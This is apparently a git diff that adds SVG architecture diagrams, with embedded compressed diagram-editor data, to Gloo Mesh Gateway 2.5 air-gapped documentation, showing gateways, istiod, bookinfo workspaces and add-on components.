XHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxc